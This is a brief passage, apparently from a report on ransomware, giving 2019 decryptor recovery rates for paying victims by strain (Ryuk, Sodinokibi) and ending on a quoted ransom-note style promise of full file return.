In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %.
